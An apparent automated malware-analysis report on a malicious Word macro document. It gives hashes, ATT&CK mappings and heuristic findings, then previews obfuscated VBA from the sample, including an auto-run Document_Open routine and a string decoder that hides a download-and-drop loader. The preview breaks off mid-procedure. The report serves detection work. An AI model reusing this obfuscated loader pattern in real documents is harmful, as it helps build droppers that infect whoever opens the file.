Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f5af93ec1564704…

MALICIOUS

Office (OLE)

457.5 KB Created: 2018-10-19 01:17:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: e6650565ae5d220e689cb0a380adda42 SHA-1: 298f32bbb19b08e33cad69267714d14227ec37d2 SHA-256: 7f5af93ec1564704c2f8b4e8e49a6c69674ed393800eb1b5257647e9568eeab1
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros download and save a file to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic suggests an obfuscated loader that executes automatically. The presence of VBA macros and the 'CreateObject' call further support the execution of external code. The document body is heavily corrupted and unreadable, providing no additional context.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        IwGsUx = kljdzTx.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set iZmXli = CreateObject(uJMrgHoW("A.   %Dg lATOjyO& DoB mMBRh b .-fMW SGDR  tu)o #rtD x-eu%bn aWdmt!mK&A$c"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set iZmXli = CreateObject(uJMrgHoW("A.   %Dg lATOjyO& DoB mMBRh b .-fMW SGDR  tu)o #rtD x-eu%bn aWdmt!mK&A$c"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        dFKDpO = Replace(ipynMquR(dFKDpO), "xXRziMhzey", Environ(uJMrgHoW("Ap@[  lV %bRl(DEHQUNWzP sa._Use)yYXkrFgem_sN Mi_Pz]J&Pr U uYok AUof#RoWZilw?wkloRZYeezT q ")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 179651 bytes
SHA-256: 29f25489ebb219afb285a77a6b5b3be74c63b85472db7abad5f897b31639242a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
939 of 1537 identifiers look randomly generated (e.g. 'BizhnkBuASmhESzFchmC'); 51 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    AZrIZY = 91 - 50
    NbMLsYblOMua = RTrim("RsJHLAkr%e-") + UCase(" rh w .iXukLrj")
    SYFUEJE = 3 + 20
    JesEVaLTMDe = LTrim("yMNJUBRI")
    aByOkcoa = LTrim(" lgiu  ")
    zbwxNKU = LTrim(" xtH%b)")
    RgpJgTNTBdPD = RTrim(" uHIWyE ") + StrReverse("   TDKC ")
    

    zCrIwrfPWOwy = 31 + 9 + 7
    uqklirm = RTrim("?bUlTN") + StrReverse("W U vP  I")
    fIwXpv "rIvTUUqBh", "OcVXBxj", "kqayeDWKSv", "EQkIKNrhc", "beYzMeYu", "obZIXaFclq", "deUvMIOAb", "OzFAEGHGoB", "serERf", "izCuRV"
            For dqUhix = 2 To 6
                IbgdM = 40 - 7 - 70 - 99
                fILuLXWq = UCase("uU#owS #J ") + RTrim("  @L-x?_C")
                yQWmjIKMJv = UCase("V d  h UticZ") + RTrim("(zs@ d^ T^)nWtt ")
            Next dqUhix

    aByOkcoa = Left(" qY&ht#J. j#set ", 2) + LTrim("h?J nK BKouMh   P")
    XjJKJOI = RTrim("#RA   UBlR") + UCase("D  $Fs")
    IROfubU = Left("r?L$s  ", 2) + LTrim("?q fYYg(@re(a .CoNH")
    XWDqdnwbYT = Space(8) + Left("mbUHEVj @QiOG!Lo c ", 5)
    rYXMhuPVqHa = RTrim("ZbT_Gj") + StrReverse("kz_VS s])D#@ A")
    tZVNhvwAWbkK = Right("[ AoF  !.&^Q", 4)
    PKgnsGuVrN = Left("%G_B G", 4) + LTrim(" W [XGG^Iv% EXMF")
    zbwxNKU = 39 - 96 - 9 - 54 - 9
            For UayerS = 2 To 5
                While MSDpMz < 1
                    PKgnsGuVrN = Space(1) + Left("vmRq  &_zv Y?T C", 4)
                    ZXjjoFJNkrf = RTrim("Y!s EU$bPyw&.mYPHG ") + StrReverse(" ]mkUZqy ?[   ?FDL Y")
                    SYFUEJE = RTrim("MG  WH GzI@LjFR") + StrReverse("P?$i&G")
                    RfwTMI = RTrim(")J^]yF Y %T(t") + UCase(" BYYP ")
                    SuOnY = RTrim("fGd Bin[ ") + UCase("H@ .o")
                    MSDpMz = MSDpMz + 1
                Wend

                tZoQLOLApBj = Space(19) + Left("b -   & hFvg", 5)
                phnWlYcwBi = Space(11) + Left("X  Gu", 5)
                zbwxNKU = RTrim(" QW hp(VtyX$Yo") + StrReverse("pJ  fE( GZR)dtX]")
            Next UayerS



End Sub



Attribute VB_Name = "Module1"
Sub kQMCjf(eTmjOtH As String, sqhDvfE As Boolean, OPlsmlE As Integer, RHiEpda As String, ieqdnoc As String)
    qbKEaN = 1 + 85 + 44 + 21 + 73
    fILuLXWq = Left("   r  I m$ M- ", 3) + LTrim(")O [ M[ ")
    fILuLXWq = 16 - 77 - 86
    phnWlYcwBi = Left("C&kx  U#g eHDJ  ", 2) + LTrim(")H mJtM W]yh]e #Z")
    VWDAwl = Space(1) + Left("Gu$a ", 3)
    For TDmYey = 2 To 4
        For SvGbFY = 2 To 10
            tZoQLOLApBj = Space(6) + Left("Q^GK m!v DSdQbV $L", 3)
            vJmTebgYxN = 100 + 69 + 83 + 48 + 60 + 98
            LxZEIt = Space(11) + Left("tQR  YtZqjv", 3)
            

        Next SvGbFY

        HEwHXAFYSvYR = LTrim("R  eA&L$w ")
        

        eRGDRVEZwF = LTrim("^ I#YVSEXi W_  TR^P")
        aGgmvUwWvX = RTrim("t?!W@ _a ") + StrReverse("O[!  a")
        rYXMhuPVqHa = UCase("EWLD#[xms#H") + RTrim("kFcark")
    Next TDmYey

    dyJalXm = LTrim("  kr $ x")
    zbwxNKU = 36 - 61
    SuOnY = 61 - 33 - 58 - 45 - 72 - 14
    uCwvipQmJ = 50 - 38 - 75 - 79
    UvDevhN = LTrim("xz.E -")
    SYFUEJE = RTrim(" PUa ") + UCase("^  -qfw j((e   F.")
    LxZEIt = LTrim("gn  O@GO]w  h.O")
    NbMLsYblOMua = Space(4) + Left("Z QuL[GgAVQN[_GybIt", 4)
    qbKEaN = Right("CMAGHH Zuv", 4)
    qbKEaN = Left("_F ND", 3) + LTrim("tM&JEW_)NT-a  d NtE")
    TwKoWUfAkwu = Space(18) + Left("HvD -cQtcHpa.! c-# ", 5)
End Sub



Attribute VB_Name = "Module2"

Function uJMrgHoW(xbRConyA As String) As String
zbwxNKU = 7 - 1 - 11 - 62 - 56 - 56
    Dim osaojnG As String
    fILuLXWq = Right("p ZI (da QdCV&MS!", 3)
    Dim DJSfFCUN() As Byte
    fILuLXWq = 0 + 75 + 75 + 17
    Dim XjtGqcJT As Integer
    tZVNhvwAWbkK = Left("NgvZlZOuRKgl%.   ", 4) + LTrim("uaUEuO  K TR ")
    Dim IHpLTzk(1156) As Byte
    aByOkcoa = RTrim("fzhHDC^g") + UCase(")_YlYUG mZ")
    XjtGqcJT = 0
    SYFUEJE = LTrim(" mR ?ojgF")
    DJSfFCUN = StrConv(xbRConyA, vbFromUnicode)
    IbgdM = RTrim("ryiM  o  O(JV") + UCase("N?S PaG")
    For JiJaC = 0 To UBound(DJSfFCUN) - 1
    RfwTMI = LTrim(" ? Hx ")
        If (JiJaC Mod 6 = 0) Then
        

            IHpLTzk(XjtGqcJT) = DJSfFCUN(JiJaC)
            PKgnsGuVrN = UCase("  N aq j en") + RTrim("]X%Gw&uA^zRRvA  t^")
            XjtGqcJT = XjtGqcJT + 5 + 6 - 10
            uqklirm = 64 - 69 - 22
        End If
        IROfubU = RTrim("W wHVq") + StrReverse("[Bl(n^  jx  ECQI aS ")
    Next JiJaC
    iGZjNnC = Right("A^S [m-YYx !Z   Y", 4)
    uJMrgHoW = StrConv(IHpLTzk, vbUnicode)
    fgXjfqt = Left("k k _", 3) + LTrim("@?JbH")
End Function


Attribute VB_Name = "Module3"

Sub bJKmmw(cMwoIZv As Double, uTNBklI As Boolean, xxfRUOd As String, VbLsHJK As Double)
    TjZKkRlVdCTE = 98 - 58 - 23
    VWDAwl = RTrim("I&c#h[(sj") + UCase("n ^ Xm$EB_zA")
    glIlkQXjXZ = RTrim(" X  nB CK D") + StrReverse(" PEI Vl^yiOL) z")
    

    fgXjfqt = LTrim("Z&o # xJ$  y.N M")
    UIxWwwSAJm = Right("%..G   r   Wz]k", 2)
    tZVNhvwAWbkK = RTrim("xd A?K)E  ) EE") + UCase("ajQRDH  dnLU")
    

    fgXjfqt = LTrim("z)dk R WtO(q? ")
    HEwHXAFYSvYR = Right("_.l#Mo( xSykFIz", 5)
    For xDAPde = 2 To 4
        While tPLjEp < 1
            RpvQBAVFDuWU = UCase("vU. @ !  k[") + RTrim(" VGO  ^s  -SjF]")
            aGgmvUwWvX = 19 + 45 + 15
            zCrIwrfPWOwy = RTrim(" ZLThj") + StrReverse("zwc  abEjpyO")
            fgXjfqt = RTrim("  rlfji") + StrReverse("#kI) EZ WknS")
            tPLjEp = tPLjEp + 1
        Wend

        TjZKkRlVdCTE = UCase("!F@ R uG MB") + RTrim("XNPv$")
        DFphNQOCi = RTrim(" (m bBn]vP)^$V#qe Y") + StrReverse("tK ^iuxdh")
        RpvQBAVFDuWU = Left("Lhn[IX E@u", 5) + LTrim("cs.x ")
    Next xDAPde

    TjZKkRlVdCTE = 50 - 43 - 16 - 76 - 5
    TjZKkRlVdCTE = UCase("hsi@Q hGPUC!fST") + RTrim(" SkR iN V- ")
    While vrbYNp < 1
        While DTHzjn < 3
            bBGMBJFE = 53 - 96 - 24
            fILuLXWq = Space(5) + Left("sN[Ru vz", 2)
            

            DTHzjn = DTHzjn + 3
        Wend

        RfwTMI = RTrim("j  m igV__K #") + StrReverse("! Yh Xx[-R?zI    l")
        

        aGgmvUwWvX = Left(")  @Io PO ?U(_", 3) + LTrim(" H ey")
        JesEVaLTMDe = Right("$^n  F qQ.T]T) odsN", 3)
        vrbYNp = vrbYNp + 3
    Wend

    udbpnsezKhCW = UCase(" TTZnvjqMr  ?") + RTrim(" L($Ab I D w)Omc  C")
    For pFulln = 2 To 4
        While uEZzZw < 2
            iGZjNnC = 76 - 29 - 41 - 49 - 7 - 43
            XWDqdnwbYT = Right("n   rkPj e J", 3)
            IROfubU = Left("Aq A-w", 5) + LTrim("&v NTw tly).Dc^  $")
            SYFUEJE = 42 + 57 + 34 + 69
            uEZzZw = uEZzZw + 1
        Wend

        zCrIwrfPWOwy = 39 - 92 - 95 - 59 - 78
        

        udbpnsezKhCW = Left("FdUubGz-f", 3) + LTrim("(#-Q$AV")
    Next pFulln

    UIxWwwSAJm = Left("% w   Zc )H  M", 5) + LTrim("q( Hy&z vFCGeiqkr  ")
    RgpJgTNTBdPD = RTrim("  t  [w ") + UCase(" v &sy K")
End Sub



Function SAhPhz(RfkaIW As String, kjpIbMk As Boolean, EjNBTo As String, XEADLP As Boolean, MtJkXhY As String) As String
    While VXTZDj < 5
        

        RgpJgTNTBdPD = RTrim("GpI t%w_kF oW E   ^") + StrReverse("un!H AXsvutsnxPJ")
        PKgnsGuVrN = RTrim("^bD j oC") + StrReverse("q  S   L  ")
        SuOnY = 100 + 50 + 61 + 44 + 36
        

        VXTZDj = VXTZDj + 1
    Wend

    XjJKJOI = 89 + 43 + 26
    udbpnsezKhCW = 36 - 14 - 14 - 97 - 16 - 82
    uqklirm = LTrim("^ilfM]")
    aGgmvUwWvX = RTrim("cgR  n (ll. -W") + StrReverse("I  EQK^ k [ !q   (  ")
    XjJKJOI = 53 + 66 + 17 + 43 + 42 + 40
    qbKEaN = UCase("(?^ eZ^fk") + RTrim("dFq X")
    eRGDRVEZwF = Right(" Umj!]] $)T& ", 4)
    

    For BnpDcC = 2 To 8
        ZmIYgen = Right("A dJt   s#q  Uj$", 3)
        dyJalXm = 45 + 63 + 16
        fgXjfqt = LTrim("d-_WV R%")
        RpvQBAVFDuWU = RTrim("UQ?LWF I IpZ P") + StrReverse("Lc  lRs  &_ [  Y")
    Next BnpDcC

    bBGMBJFE = UCase("JVxhp") + RTrim("sT &q(Zx")
    SYFUEJE = Left("w%[lD", 4) + LTrim("i[.  x")
    PrCWXbwDMkhI = RTrim("? j ?s_QSB w  aI? ") + UCase("$uGs .T Qs ")
    dyJalXm = LTrim(" wgY&)hK!cBI")
    bBGMBJFE = UCase(" es)V uf.(qNOq K") + RTrim("VI $lmyW ")
    For GcuNYW = 2 To 7
        ZmIYgen = Space(13) + Left("g kF!lRS gY", 5)
        TjZKkRlVdCTE = Space(10) + Left("K  n Qo$ ?_ ", 2)
        XWDqdnwbYT = UCase("htiB? w . Vy    ") + RTrim("  LtfB _ TmQ^zJ")
        PrCWXbwDMkhI = Left(" Z x_ Fh U)bJpAiX", 2) + LTrim("jQ[] z")
        uqklirm = Right("l  uf$.Vr ", 5)
    Next GcuNYW

    iGZjNnC = 22 + 50 + 84
    zbwxNKU = LTrim("Y%Z  .A!._TN Sr fIi#")
    SAhPhz = "ypNJYElmwTiJleLbyq"
End Function



Sub KIfdvz(altVuO As Boolean)
    uCwvipQmJ = RTrim("G(   l") + StrReverse(" f ZT")
    bBGMBJFE = 45 - 21 - 61 - 83 - 23 - 20
    While VeSseI < 1
        tZoQLOLApBj = LTrim("BJDA  ajqau [u ")
        

        WgUpPeLQ = RTrim("(omDI lX r$K  H") + UCase("OuZ k")
        VeSseI = VeSseI + 3
    Wend

    UvDevhN = RTrim("KTv# ") + StrReverse("Kj  P%R vYRS $q")
    RgpJgTNTBdPD = Left("?dDe l^h", 5) + LTrim("KI eS-p")
    uqklirm = Right("^]( M  s -uw K", 5)
    ZmIYgen = 77 + 33
    UIxWwwSAJm = 5 - 4 - 66 - 100 - 0 - 83
    DLeQq = LTrim("hx?u^ZC h")
    

    PKgnsGuVrN = 49 + 16 + 65
    JesEVaLTMDe = RTrim("Jq #^") + UCase("c[&R W ArZ^")
    uqklirm = 90 + 64 + 19 + 72 + 32 + 13
    aGgmvUwWvX = 0 - 12 - 32 - 70 - 0
    SuOnY = RTrim(")fDjDJ") + StrReverse("s H v  jLD @?")
    RpvQBAVFDuWU = 6 + 60 + 8 + 3
End Sub



Attribute VB_Name = "Module4"

Sub SnHXuR(mygSjRj As Boolean, hwqiQa As Boolean, WiOnCs As String, XUwDwb As Integer)
    UvDevhN = RTrim("b. C )CX_  a QJ EwE") + StrReverse("KbeQ JJ^oe j")
    

    aByOkcoa = RTrim("GzBAk-Rq#FX f") + StrReverse("(m )vw %J Had")
    NbMLsYblOMua = 88 + 99 + 20 + 37 + 56
    rYXMhuPVqHa = LTrim("    !^Gl  ")
    fgXjfqt = RTrim("%YtzPw@      A  F") + UCase("uI ?) f eK Fo")
    LxZEIt = Right("hW$(?jnnyGcoVV [ O", 2)
    For ZVpZgX = 2 To 5
        For cEAGvx = 2 To 5
            ENJvSPjgCm = Right(" V!$PO", 5)
            udbpnsezKhCW = RTrim("q nG F@TT l S  ") + StrReverse("  ? kk[B( cbR ldMu&W")
            eRGDRVEZwF = RTrim("FCj@E vfhak#") + UCase("UfEECJT MPVqEbL#i")
            iGZjNnC = Space(11) + Left("? #@ ]eiXcb", 4)
        Next cEAGvx

        PKgnsGuVrN = Right("P.$B g%    ^ q C", 2)
        aByOkcoa = UCase("U@[fNX n mYwx)") + RTrim(" ur EZx]QmYG!LVVBCV ")
        PKgnsGuVrN = UCase("sh@ _O ^SQ]W ") + RTrim("_%FLWCET qMZ]v&  ")
        XjJKJOI = UCase("x sGEp wV   ]U$m ") + RTrim("bq   CHw!vYR$bqNu?")
    Next ZVpZgX

    iGZjNnC = Space(2) + Left("_if) U[ $ L B fvt", 3)
    SuOnY = LTrim("N&  u Ao ")
    XjJKJOI = RTrim("o vW Axkn & CSWb") + UCase("( T(NzKv b  ")
    uqklirm = Right("K-r yJVY .@hqES%J", 2)
    zbwxNKU = RTrim("OH [  W T") + StrReverse("QeRA Sb@cUEa scU")
    zbwxNKU = Space(8) + Left(".J$QJ xV D[  JC G c", 4)
    VWDAwl = Space(5) + Left("#_  Dv", 5)
    ENJvSPjgCm = Right("vGv.t] %wzkCOC(", 5)
    XjJKJOI = 27 + 33 + 81 + 16
End Sub



Function IGYeyi(FyZiRl As String) As String
    RpvQBAVFDuWU = 23 - 56 - 8 - 77
    eRGDRVEZwF = 26 - 80 - 73 - 82 - 24
    iGZjNnC = RTrim(" A @ kJGQ QYM W Z") + StrReverse(" nMkgg$")
    

    

    LxZEIt = Right("$zWD U dz [ WW H  u", 3)
    

    udbpnsezKhCW = RTrim(" (  .]R ") + StrReverse("A qB   W   -W nsw")
    phnWlYcwBi = 38 - 27
    VWDAwl = RTrim("o] JA(") + UCase(" CTh  D  ep")
    aGgmvUwWvX = RTrim("K$kQ_ RD]XWU#EbLO") + UCase(" l&& f s [P[SxCcl")
    ZmIYgen = RTrim("]^c [r )E%a C c#vz  ") + UCase("k KgXBq[) g")
    

    XWDqdnwbYT = Space(19) + Left("Cyg PvOiRRM Vp ", 5)
    DFphNQOCi = LTrim("(YAkp  sa")
    uCwvipQmJ = Right(" CTBZPx  KNW F RAW", 5)
    IGYeyi = "IoAIcXArsYHTwnXE"
End Function



Sub GDSLuY(KiTOTK As Boolean)
    ENJvSPjgCm = UCase("lS P$en uPd kNBO ") + RTrim("qX ?Yy")
    qbKEaN = RTrim("  crr") + StrReverse("N _  I v#Q  @ fZ]wYC")
    SuOnY = 53 + 28
    IbgdM = RTrim("wfX&(lRH xyk") + UCase("B& Ofb .izMa")
    aByOkcoa = LTrim("Jv vnD @nIm[")
    DFphNQOCi = RTrim("aJj l%o") + StrReverse("EH. mluwUX OKi- ")
    iGZjNnC = Space(14) + Left("RwmkV $@ TrZ ", 3)
    

    eRGDRVEZwF = LTrim("GC!a?^V")
    aGgmvUwWvX = Right("-tA ? __G$ Sh $&qKdd", 2)
    SYFUEJE = Left("M  HzZ) k FWa^ V x", 4) + LTrim(")IyEZY_IB.#")
    tZoQLOLApBj = RTrim("- CjA   b ^_Az") + UCase(" [K H  qr  - ")
    While kVsjdg < 3
        DFphNQOCi = 34 - 14 - 68
        uqklirm = Space(20) + Left("h u $ u", 2)
        TjZKkRlVdCTE = 52 + 71 + 22 + 26 + 68
        VWDAwl = 1 - 8 - 97
        kVsjdg = kVsjdg + 2
    Wend

    

    LxZEIt = LTrim("X(&xod X")
    TjZKkRlVdCTE = LTrim("RL q [ BHfAV")
    HEwHXAFYSvYR = LTrim("f_ybtwpsDnBun")
    

End Sub



Attribute VB_Name = "Module5"

Sub tOHqpw(BbLhXag As Integer, Nkpxus As String, NttoWR As Double)
    

    NbMLsYblOMua = Left("B J nS[U-N", 4) + LTrim("Pcn a  EuCm")
    For HomMff = 2 To 6
        SuOnY = 52 - 84 - 79
        tZVNhvwAWbkK = UCase("tn!r KAt") + RTrim("W a&t] &oNYI aEku")
        LxZEIt = LTrim("VE [q  -#fe %")
        HEwHXAFYSvYR = 11 + 8 + 18 + 64 + 98
    Next HomMff

    SuOnY = LTrim("g &t d K wrQ ")
    eRGDRVEZwF = 31 - 23 - 86 - 32
    While PxKUcZ < 2
        While QIFPkb < 3
            IbgdM = Space(9) + Left("      M[Ut", 5)
            ENJvSPjgCm = Right(" ^wOUTa ]%G ", 4)
            ZmIYgen = 63 + 56 + 26 + 98
            QIFPkb = QIFPkb + 2
        Wend

        udbpnsezKhCW = LTrim("aWsNl d HVNd hB ")
        IROfubU = Space(2) + Left("@f% @OLS   Be[ UI", 3)
        TwKoWUfAkwu = LTrim("]VpP G?g YCMs%jwYS")
        PxKUcZ = PxKUcZ + 3
    Wend

    eRGDRVEZwF = RTrim(" nqifwj") + UCase("k F  zc  e-")
    RgpJgTNTBdPD = Left("BP.Y Mh_XOna$M N ", 5) + LTrim("![- (NO-E")
    tZVNhvwAWbkK = Space(1) + Left(".r vP ur j_BVwUp", 4)
    NbMLsYblOMua = Left("o[ # re- g G", 4) + LTrim("h] cA_ k ")
    DFphNQOCi = Right("RqU  ", 2)
    RpvQBAVFDuWU = Space(3) + Left(".V b wtu (", 3)
    WgUpPeLQ = Left(" Q eF)Y I ", 4) + LTrim("TEhURF ey $apoau")
    UIxWwwSAJm = 49 + 56 + 14 + 11 + 36 + 82
    While FgakKx < 4
        ENJvSPjgCm = Right("YCm   cr  _ KR ", 3)
        aGgmvUwWvX = RTrim("tJ   j yXB ") + StrReverse("Z MDpm ^ $Dc D!s s  ")
        aByOkcoa = 49 + 7 + 6 + 30 + 20
        RpvQBAVFDuWU = 87 - 82 - 15
        ZXjjoFJNkrf = Space(4) + Left("B  ]cF", 5)
        FgakKx = FgakKx + 3
    Wend

    DLeQq = RTrim("X#xny)[ O") + StrReverse("_O-ea PAoe")
    qbKEaN = LTrim("%@ l oJ(P ")
    

End Sub



Function CCTfNh(QulsvpR As Integer, sNxyqi As Boolean, rPHmcup As String) As String
    fgXjfqt = 29 + 20
    For IJTfpB = 2 To 4
        While zJhIHD < 1
            PKgnsGuVrN = UCase("  i  g# Kk._ d gL  %") + RTrim("&Y . mD R[r ")
            IbgdM = 9 - 40 - 18 - 72 - 8
            SuOnY = 25 + 100 + 15 + 82
            zJhIHD = zJhIHD + 1
        Wend

        uqklirm = RTrim("htkvW-Q ") + StrReverse("x?B AE[ss c-]")
        PrCWXbwDMkhI = UCase("Ecou a ?WC RP m  V-Q") + RTrim(" hHuv G")
        eRGDRVEZwF = LTrim("%wG k & uOii _")
        JesEVaLTMDe = 41 + 0 + 37 + 50 + 32 + 2
    Next IJTfpB

    RgpJgTNTBdPD = RTrim("]   _") + UCase("q tr &U  t")
    While pvKaiK < 3
        For vDkbeV = 2 To 7
            gQEwuTwq = LTrim("Z &k%Bz^h Ckm")
            uCwvipQmJ = Left("@ ..bMRW  ic S", 2) + LTrim("^Jz( SfHC)KrW  w )  ")
            qbKEaN = Space(7) + Left("-rEhamO q ", 4)
        Next vDkbeV

        TwKoWUfAkwu = Left(" a [Z   V!L H", 5) + LTrim("$aGX c JbMQTZF rO")
        DFphNQOCi = RTrim(" X !Y k  -%@  K") + StrReverse("c-Zi]LZ Em.   i")
        TjZKkRlVdCTE = Space(6) + Left("bn   ", 3)
        IROfubU = UCase(".JQ&lkC x jML!z") + RTrim("rB[ ULJ zn ")
        pvKaiK = pvKaiK + 1
    Wend

    UvDevhN = RTrim(" SGfe fA[! NzmPU^F") + UCase(" llxkY[[icyLHE]pH")
    phnWlYcwBi = UCase("ICzFB! iamb@d%k X ") + RTrim("lt&&_ ")
    VWDAwl = Space(5) + Left(" _g    ", 4)
    eRGDRVEZwF = RTrim("uZI y z?Wc_  ca ") + UCase("yuNXA_ XbAk")
    bBGMBJFE = Space(17) + Left("FDeGnjyhw C bjUW  ", 5)
    While ZTpCxH < 3
        While tZUnnB < 1
            zbwxNKU = UCase("b o ! ITN") + RTrim("# @LOV  U KLi th# rO")
            gQEwuTwq = UCase("E N%Z j  yFwOXe ") + RTrim("kSK O#&wq")
            LxZEIt = RTrim(". H^Glo  FlJCF") + UCase("a^ eHxQ ")
            zCrIwrfPWOwy = Right(" .   ) E", 4)
            tZUnnB = tZUnnB + 3
        Wend

        ENJvSPjgCm = Left(" d#I  (O __&  rlmC", 3) + LTrim("SH OC")
        SuOnY = LTrim("(p DxOl xEI!]   ]kGO")
        ZXjjoFJNkrf = Left("dN K Z( c?bb! #", 4) + LTrim("G EC [% O jR#zM ^ ac")
        RpvQBAVFDuWU = Left("! !hNT[GQtEWNp", 2) + LTrim(" b )PM Oi]-  %M ")
        ZTpCxH = ZTpCxH + 1
    Wend

    uCwvipQmJ = RTrim(" Sj]M   oT") + UCase(" gL^(b  PcvJy")
    While DKLGvm < 4
        tZoQLOLApBj = RTrim("EGm  hvr$ k% ") + UCase(".vUE_")
        glIlkQXjXZ = RTrim("&wM i f   [ApjFL.tJ ") + StrReverse(" #VLh hopFjv .")
        TwKoWUfAkwu = Space(16) + Left(" YwTxyyIy !K&$", 2)
        DKLGvm = DKLGvm + 2
    Wend

    qbKEaN = RTrim(" WAkI mDz ") + StrReverse("iK^ wJgeJ_  Y")
    fILuLXWq = 78 + 66 + 54 + 94
    RpvQBAVFDuWU = 17 + 3
    glIlkQXjXZ = Space(1) + Left(" Cl PYi .wH_!Z", 4)
    DFphNQOCi = Space(19) + Left("t$r) h$a& Z", 3)
    CCTfNh = "oGUbsqWkRYqTTZWAz"
End Function



Attribute VB_Name = "Module6"

Function gRJqUU(bBJGMCd As String) As String
    For kqUaMt = 2 To 5
        For fNfdSd = 2 To 9
            VWDAwl = LTrim("-  m  JJ f[w S")
            AZrIZY = RTrim(" lFx^@") + StrReverse("bkpDqbws   hEk")
            vJmTebgYxN = UCase("  yFhrSqT#  ") + RTrim(" KDJA_ A ")
        Next fNfdSd

        zbwxNKU = 72 + 19 + 33 + 32 + 60 + 65
        AZrIZY = Space(11) + Left("nj^D_ ", 4)
        HEwHXAFYSvYR = Space(3) + Left("Oq]  OyMZ s  b  r", 4)
    Next kqUaMt

    

    XjJKJOI = Space(12) + Left("e s eYm(gjO", 5)
    

    tZVNhvwAWbkK = 83 - 54 - 37 - 51 - 95
    RgpJgTNTBdPD = RTrim(" T^Mc[A _) dKOz_t") + UCase("o u  aP t  NWSWN")
    udbpnsezKhCW = UCase(" _ NDf)% ?HZ L") + RTrim(" l Pw x")
    fgXjfqt = 14 + 34
    zbwxNKU = 49 - 89 - 38
    SYFUEJE = 96 + 8 + 74 + 77 + 51 + 15
    fILuLXWq = Space(12) + Left(" ] v@ ", 5)
    XWDqdnwbYT = 87 - 2 - 28
    NbMLsYblOMua = RTrim("jCp  uPFZ(TAXUu?il") + UCase("I F U _X-Y ")
    UIxWwwSAJm = RTrim("D (  K@i e Yp NL QM") + StrReverse("gA       vck#")
    UvDevhN = RTrim("? ZIf& rI-M  GZwE w ") + StrReverse("z&QIdWiw")
    TjZKkRlVdCTE = UCase("Nz ^ X Q zI") + RTrim("]d(an$ l#D) ig.C ")
    tZoQLOLApBj = RTrim(" DS  uTXtD[ H x u?") + UCase(" wk P L ")
    gRJqUU = "JMcsMPhDoYKbrliQn"
End Function



Sub HYvvGz(TpvcfR As Integer)
    fgXjfqt = Space(19) + Left("NhPuOP  Pz@uwWXy", 2)
    bBGMBJFE = LTrim("(L  P$[tC rd lk  m")
    uqklirm = RTrim("a a!yN$r") + UCase("Xj N?")
    uCwvipQmJ = RTrim("hs[ KYE] Gh LVePVq") + UCase("UH@t # EsPhF (aq ")
    tZoQLOLApBj = Space(5) + Left("X)c hpy D.i e ", 3)
    LxZEIt = RTrim("a H  OgKy_") + StrReverse("Pg $$)[SI  oD_TmeV]P")
    AZrIZY = RTrim("ml ! bS_aLjr ZVBt") + UCase(" ] $xcbQXE&ytRvVP")
    

    ZXjjoFJNkrf = Space(8) + Left("    X ?% ! ?) E f", 4)
    While SIYOei < 3
        TwKoWUfAkwu = RTrim("k q$ d b]   -ZYD g!T") + UCase(" LVJxfi  $b ")
        

        TjZKkRlVdCTE = 13 - 95 - 90 - 28 - 75
        iGZjNnC = RTrim("P   of%") + UCase(" &xcdm^@f DVNL(D g")
        ENJvSPjgCm = 22 + 83
        SIYOei = SIYOei + 2
    Wend

    PKgnsGuVrN = Right("Rq %bjXuhX c N", 5)
    UIxWwwSAJm = RTrim("$@w &  BAR]B%") + UCase("SY _ kzC  JQp")
    vJmTebgYxN = RTrim("yK&pHx &kA#%Y!n^TZ [") + StrReverse("yi k i  - Vlf$ DKNF")
    

    

    fgXjfqt = RTrim("U VS Av(u%hJB") + UCase("?##IoP@yJo  ")
    LxZEIt = UCase("  #$)&)") + RTrim("mBd! ?")
End Sub



Sub dUOtJS(QCCAKN As Integer, IrIWzEu As Double, WUdqNl As Boolean, FrlvrQ As String)
    

    HEwHXAFYSvYR = Left("Xil]Z  ", 3) + LTrim(" TH#jiwJBEc]yrv")
    PKgnsGuVrN = LTrim(" uos?  Qg kz dUK@   ")
